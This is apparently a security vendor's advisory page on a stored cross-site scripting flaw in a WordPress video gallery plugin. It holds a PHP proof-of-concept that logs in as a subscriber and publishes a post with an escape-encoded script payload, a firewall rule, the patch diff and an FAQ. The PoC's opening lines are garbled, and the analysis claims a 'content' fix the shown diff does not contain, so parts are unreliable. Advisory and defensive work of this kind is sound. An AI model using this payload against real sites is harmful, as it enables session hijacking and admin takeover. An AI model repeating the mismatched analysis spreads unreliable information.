{
“analysis”: “Atomic Edge analysis of CVE-2026-136215: This is an authenticated (Subscriber+) stored cross-site scripting (XSS) vulnerability in the All-in-One Video Gallery WordPress plugin versions <= 5.2.0. The flaw resides in the handling of the 'content' shortcode attribute, where insufficient input sanitization and output escaping allow an attacker with subscriber-level access to inject arbitrary web scripts. These scripts execute when a user visits an injected page. The CVSS score is 6.4 (Medium).nnThe root cause is the plugin's failure to properly sanitize and escape the 'content' parameter from the shortcode. In the vulnerable version, the plugin processes the 'content' attribute without adequate filtering. When a user lacking the 'unfiltered_html' capability saves a post, WordPress applies wp_kses_post, which normally strips dangerous HTML. However, the attacker encodes the payload using C-style escape sequences (e.g., \x3c for '’), so wp_kses_post sees only benign text. At render time, WordPress core’s shortcode_parse_atts() decodes these escapes into actual HTML characters, and the plugin outputs the decoded content without further escaping, resulting in XSS. The patch in version 5.2.1 modifies the plugin to restrict the use of embed codes to users with the ‘unfiltered_html’ capability and adds output escaping elsewhere. Specifically, in admin/videos.php, the code now checks current_user_can(‘unfiltered_html’) before allowing the ’embedcode’ type, and similar checks are added for trailer types. Additionally, in public/templates/player-vidstack.php, text track labels and languages are escaped to prevent HTML injection. The fix also includes a version bump and a rework of the default settings caching to prevent recursion.nnAn attacker with subscriber-level access can exploit this by creating or editing a post (e.g., via the WordPress editor or XML-RPC) and including a shortcode with a crafted ‘content’ attribute. For example: [aiovg_video content=\x3cscript\x3ealert(1)\x3c/script\x3e]. The encoded payload bypasses wp_kses_post. When the post is viewed, the shortcode is processed, the escapes are decoded, and the malicious script executes in the context of the visiting user’s browser. The attacker could also target the ’embedcode’ parameter directly if the plugin allows subscribers to submit embed codes, but the patch suggests that embed codes were previously accessible to subscribers, and now only users with ‘unfiltered_html’ can use them. The official description mentions the ‘content’ shortcode attribute, so the primary vector is through shortcode content.nnThe patch addresses the vulnerability by enforcing capability checks and adding output escaping. In admin/videos.php, the code now verifies that the current user has the ‘unfiltered_html’ capability before allowing the ’embedcode’ type to be set; otherwise, it defaults to ‘default’. This prevents lower-privileged users from injecting malicious embed codes. Similarly, for trailer types, if the user lacks the capability, the trailer type is cleared. The patch also escapes text track labels and languages in the Vidstack player template to prevent HTML injection via playlist metadata. These changes ensure that only trusted users can store unfiltered HTML, and any potentially dangerous output is properly escaped. The version is bumped to 5.2.1.nnIf exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page, including administrators. This can lead to session hijacking, theft of sensitive data (such as cookies or nonces), privilege escalation (by creating rogue admin accounts), defacement, or redirection to malicious sites. The stored nature means the payload persists and affects all visitors, making it a significant threat despite requiring subscriber-level authentication.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-136215 – All-in-One Video Gallery $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Create a new post with the malicious shortcode contentn// The shortcode attribute ‘content’ contains a C-style encoded XSS payload: \x3cscript\x3ealert(1)\x3c/script\x3en$post_content = ‘[aiovg_video content=”\\x3cscript\\x3ealert(1)\\x3c/script\\x3e”]’;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/post-new.php’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘post_title’ => ‘XSS PoC’,n ‘content’ => $post_content,n ‘post_status’ => ‘publish’,n ‘action’ => ‘editpost’,n ‘_wpnonce’ => ‘…’, // Need to extract nonce from the new post pagen ‘post_type’ => ‘post’n]));ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);nn// First, fetch the new post page to get the noncencurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/post-new.php’);ncurl_setopt($ch, CURLOPT_POST, false);n$new_post_page = curl_exec($ch);npreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $new_post_page, $matches);n$nonce = $matches[1] ?? ”;nn// Now submit the formn$postfields = http_build_query([n ‘post_title’ => ‘XSS PoC’,n ‘content’ => $post_content,n ‘post_status’ => ‘publish’,n ‘action’ => ‘editpost’,n ‘_wpnonce’ => $nonce,n ‘post_type’ => ‘post’,n ‘post_ID’ => ‘0’ // For new postn]);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);n$response = curl_exec($ch);nn// Extract the new post ID from the response or location headernpreg_match(‘/post=(d+)/’, $response, $matches);n$post_id = $matches[1] ?? ‘1’;ncurl_close($ch);nn// Step 3: Trigger the XSS by viewing the postn// The payload will execute when an administrator views the postn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/?p=’ . $post_id);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$output = curl_exec($ch);ncurl_close($ch);nn// Check if the payload is present (it will be decoded to alert(1))nif (strpos($output, ‘alert(1)’) !== false) {n echo “XSS payload successfully injected and executed on page load.\n”;n} else {n echo “Payload not found. Check manually.\n”;n}n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-136215n# This rule blocks attempts to exploit the stored XSS via the ‘content’ shortcode attribute.n# It targets the shortcode parsing in post content, specifically looking for encoded payloads.n# The rule matches POST requests to admin post editing endpoints where the ‘content’ parametern# contains a shortcode with encoded angle brackets that could decode to script tags.nSecRule REQUEST_URI “@rx ^/wp-admin/(post\.php|admin-ajax\.php)$” \n “id:20261362,phase:2,deny,status:403,chain,msg:’CVE-2026-136215: Stored XSS via content shortcode attribute’,severity:’CRITICAL’,tag:’CVE-2026-136215′”n SecRule ARGS_POST:content “@rx \[aiovg_video[^\]]*content=(?:\x22|\x27)[^\x22\x27]*?(?:\\x3c|\\x3e)” \n “t:urlDecodeUni,t:lowercase””
}

CVE-2026-136215: All-in-One Video Gallery <= 5.2.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'content' Shortcode Attribute PoC, Patch Analysis & Rule
CVE-2026-136215
all-in-one-video-gallery
5.2.0
5.2.1
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/all-in-one-video-gallery/admin/videos.php
+++ b/all-in-one-video-gallery/admin/videos.php
@@ -403,6 +403,13 @@
$private_base_url = aiovg_get_private_base_url();
$type = isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : 'default';
+
+ // Same rule as the form, which offers this type only to these users
+ $can_use_embedcode = current_user_can( 'unfiltered_html' );
+ if ( 'embedcode' === $type && ! $can_use_embedcode ) {
+ $type = 'default';
+ }
+
update_post_meta( $post_id, 'type', $type );
delete_post_meta( $post_id, 'is_video_uploaded' );
@@ -488,22 +495,27 @@
$facebook = isset( $_POST['facebook'] ) ? aiovg_sanitize_url( wp_unslash( $_POST['facebook'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_url().
update_post_meta( $post_id, 'facebook', $facebook );
- $embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
-
- if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
- $parsed = wp_parse_url( $embedcode );
+ $embedcode = '';
- // Allow only http / https URLs
- if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
- $embedcode = sprintf(
- '<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
- esc_url( $embedcode )
- );
+ // Others leave the stored code untouched
+ if ( $can_use_embedcode ) {
+ $embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
+
+ if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
+ $parsed = wp_parse_url( $embedcode );
+
+ // Allow only http / https URLs
+ if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
+ $embedcode = sprintf(
+ '<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
+ esc_url( $embedcode )
+ );
+ }
}
- }
- $embedcode = aiovg_sanitize_embedcode( $embedcode );
- update_post_meta( $post_id, 'embedcode', $embedcode );
+ $embedcode = aiovg_sanitize_embedcode( $embedcode );
+ update_post_meta( $post_id, 'embedcode', $embedcode );
+ }
$duration = '';
@@ -685,6 +697,12 @@
if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['aiovg_video_trailer_nonce'] ) ), 'aiovg_save_video_trailer' ) ) {
// OK to save meta data
$trailer_type = isset( $_POST['trailer_type'] ) ? sanitize_text_field( wp_unslash( $_POST['trailer_type'] ) ) : '';
+
+ // Same rule as the form, which offers this type only to these users
+ if ( 'embedcode' === $trailer_type && ! current_user_can( 'unfiltered_html' ) ) {
+ $trailer_type = '';
+ }
+
update_post_meta( $post_id, 'trailer_type', $trailer_type );
if ( 'embedcode' === $trailer_type ) {
--- a/all-in-one-video-gallery/all-in-one-video-gallery.php
+++ b/all-in-one-video-gallery/all-in-one-video-gallery.php
@@ -3,23 +3,23 @@
/**
* The plugin bootstrap file.
*
- * @link https://plugins360.com
- * @since 1.0.0
- * @package All_In_One_Video_Gallery
+ * @link https://plugins360.com
+ * @since 1.0.0
+ * @package All_In_One_Video_Gallery
*
* @wordpress-plugin
- * Plugin Name: All-in-One Video Gallery
- * Plugin URI: https://plugins360.com/all-in-one-video-gallery/
- * Description: An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version: 5.2.0
+ * Plugin Name: All-in-One Video Gallery
+ * Plugin URI: https://plugins360.com/all-in-one-video-gallery/
+ * Description: An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
+ * Version: 5.2.1
* Requires at least: 6.3
- * Requires PHP: 7.4
- * Author: Team Plugins360
- * Author URI: https://plugins360.com
- * License: GPL-2.0+
- * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain: all-in-one-video-gallery
- * Domain Path: /languages
+ * Requires PHP: 7.4
+ * Author: Team Plugins360
+ * Author URI: https://plugins360.com
+ * License: GPL-2.0+
+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain: all-in-one-video-gallery
+ * Domain Path: /languages
*
*/
// Exit if accessed directly
@@ -72,7 +72,7 @@
}
// The current version of the plugin
if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
- define( 'AIOVG_PLUGIN_VERSION', '5.2.0' );
+ define( 'AIOVG_PLUGIN_VERSION', '5.2.1' );
}
// The unique identifier of the plugin
if ( !defined( 'AIOVG_PLUGIN_SLUG' ) ) {
--- a/all-in-one-video-gallery/includes/helpers/functions.php
+++ b/all-in-one-video-gallery/includes/helpers/functions.php
@@ -867,10 +867,11 @@
* @return array $defaults Array of plugin settings.
*/
function aiovg_get_default_settings() {
- static $defaults = null;
+ static $cached = null;
+ static $is_building = false;
- if ( null !== $defaults ) {
- return $defaults;
+ if ( null !== $cached ) {
+ return $cached;
}
$video_page_slug = 'aiovg_videos';
@@ -883,9 +884,21 @@
$video_page_slug = $slug;
break;
}
- }
+ }
+
+ // Creating the pages runs queries whose hooks may read our settings and call back in here.
+ // Those nested calls get no pages rather than creating them again, and are not cached (5.2.1)
+ $is_nested = $is_building;
+
+ if ( $is_nested ) {
+ $page_settings = array();
+ } else {
+ $is_building = true;
+ $page_settings = aiovg_insert_custom_pages();
+ $is_building = false;
+ }
- $defaults = array(
+ $defaults = array(
'aiovg_player_settings' => array(
'player' => 'videojs',
'theme' => 'default',
@@ -1079,10 +1092,14 @@
'token_authentication_key' => '',
'token_expiry' => 3600
),
- 'aiovg_page_settings' => aiovg_insert_custom_pages()
+ 'aiovg_page_settings' => $page_settings
);
-
- return $defaults;
+
+ if ( ! $is_nested ) {
+ $cached = $defaults;
+ }
+
+ return $defaults;
}
/**
--- a/all-in-one-video-gallery/public/templates/player-vidstack.php
+++ b/all-in-one-video-gallery/public/templates/player-vidstack.php
@@ -1945,6 +1945,14 @@
plyr.classList.remove( 'aiovg-is-ended' );
});
+ // Stream track names come from the playlist and Plyr prints them as HTML
+ if ( settings.hasOwnProperty( 'hls' ) || settings.hasOwnProperty( 'dash' ) ) {
+ const addTextTrack = video.addTextTrack.bind( video );
+ const escape = ( value ) => 'string' === typeof value ? value.replace( /</g, '<' ).replace( />/g, '>' ) : value;
+
+ video.addTextTrack = ( kind, label, language ) => addTextTrack( kind, escape( label ), escape( language ) );
+ }
+
// HLS
if ( settings.hasOwnProperty( 'hls' ) ) {
const hls = new Hls();
--- a/all-in-one-video-gallery/public/video.php
+++ b/all-in-one-video-gallery/public/video.php
@@ -148,7 +148,6 @@
if ( isset( $attributes[ $format ] ) ) {
$attributes[ $format ] = aiovg_sanitize_url( $attributes[ $format ] );
$is_video_available = 1;
- break;
}
}
Frequently Asked Questions
What is CVE-2026-136215?
Vulnerability overviewCVE-2026-136215 is an authenticated stored cross-site scripting vulnerability in the All-in-One Video Gallery plugin for WordPress, affecting versions up to and including 5.2.0. It allows users with subscriber-level access or higher to inject web scripts through the content shortcode attribute, which then execute when other users view the affected page. The issue is classified as CWE-79 and carries a CVSS score of 6.4.
How does the vulnerability work?
Technical mechanismWhen a low-privileged user saves a post, WordPress applies wp_kses_post filtering, which normally strips dangerous HTML. The attacker encodes the payload as C-style escape sequences such as x3c and x3e, so the filter sees only benign text. At render time, WordPress core shortcode_parse_atts decodes these escapes into real angle brackets, and the plugin outputs the decoded content without further escaping, resulting in script execution.
Who is affected by this vulnerability?
Scope of impactAny WordPress site running All-in-One Video Gallery version 5.2.0 or earlier is affected. Sites are only exploitable if they allow subscriber-level or lower-privileged users to create or edit content that can contain shortcodes, such as posts, pages, or custom post types. Sites where only administrators and editors can publish content have a reduced attack surface.
How can I check if my site is vulnerable?
Detection stepsCheck the plugin version under the Plugins page in the WordPress admin or via WP-CLI using wp plugin list. If the version is 5.2.0 or lower, the site is potentially vulnerable. Also review whether subscriber accounts can submit content containing shortcodes, since that is the prerequisite for exploitation.
What is the risk level in practical terms?
Interpreting CVSS 6.4A CVSS score of 6.4 is Medium severity, reflecting that exploitation requires authentication at subscriber level but can affect any user who views the injected page, including administrators. Successful exploitation can lead to session hijacking, theft of cookies or nonces, privilege escalation, defacement, or redirection to malicious sites. Because the payload is stored, it persists and affects all visitors until removed.
How do I fix the vulnerability?
Patching guidanceUpdate All-in-One Video Gallery to version 5.2.1 or later, which restricts embed code usage to users with the unfiltered_html capability and adds output escaping in the player template. After updating, verify the plugin version and confirm that the changes are active. No configuration changes are required beyond the update.
What does the patch change?
Patch analysisThe patch in admin/videos.php adds a current_user_can check for unfiltered_html before allowing the embedcode type, defaulting to the standard type otherwise. It also clears trailer types for users lacking the capability and escapes text track labels and languages in public/templates/player-vidstack.php. These changes ensure only trusted users can store unfiltered HTML and that remaining output is properly escaped.
What temporary mitigations are available if I cannot update immediately?
Interim workaroundsRestrict content creation to trusted roles by removing or limiting subscriber-level publishing capabilities, and review existing posts for suspicious shortcode attributes. A web application firewall rule matching encoded angle brackets in shortcode content can help block known exploit patterns, though it is not a substitute for patching. Disabling the plugin until an update is applied is the most reliable interim measure.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept logs in as a subscriber, creates a post containing a shortcode with a content attribute encoded as x3cscriptx3ealert(1)x3c/scriptx3e, and publishes it. When the post is viewed, the encoded payload is decoded and the script executes, confirming that the filter bypass and output behavior work as described. This illustrates the full exploitation path from authenticated low-privileged access to script execution in a victim browser.
Why does the encoding bypass wp_kses_post?
Filter bypass detailwp_kses_post inspects the literal text stored in the database and does not interpret C-style escape sequences. Because the payload contains no actual angle brackets at storage time, the filter permits it. The decoding occurs later during shortcode parsing, after the sanitization step has already completed, so the dangerous characters are introduced at a point where no further filtering is applied.
Can the vulnerability be exploited without a subscriber account?
Authentication requirementNo. The vulnerability requires an authenticated user with at least subscriber-level access, which is why the CVSS score reflects a lower severity than an unauthenticated flaw. However, many WordPress sites allow open registration, so subscriber accounts may be easy to obtain. Administrators should review registration settings and user roles as part of their risk assessment.
What should I do if I suspect my site was exploited?
Incident responseSearch posts and post meta for shortcode attributes containing encoded escape sequences such as x3c or x3e, and remove any suspicious content. Review user accounts for unauthorized changes, rotate administrative credentials and salts, and inspect logs for unusual subscriber activity. After cleanup, apply the 5.2.1 update to prevent reinfection.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






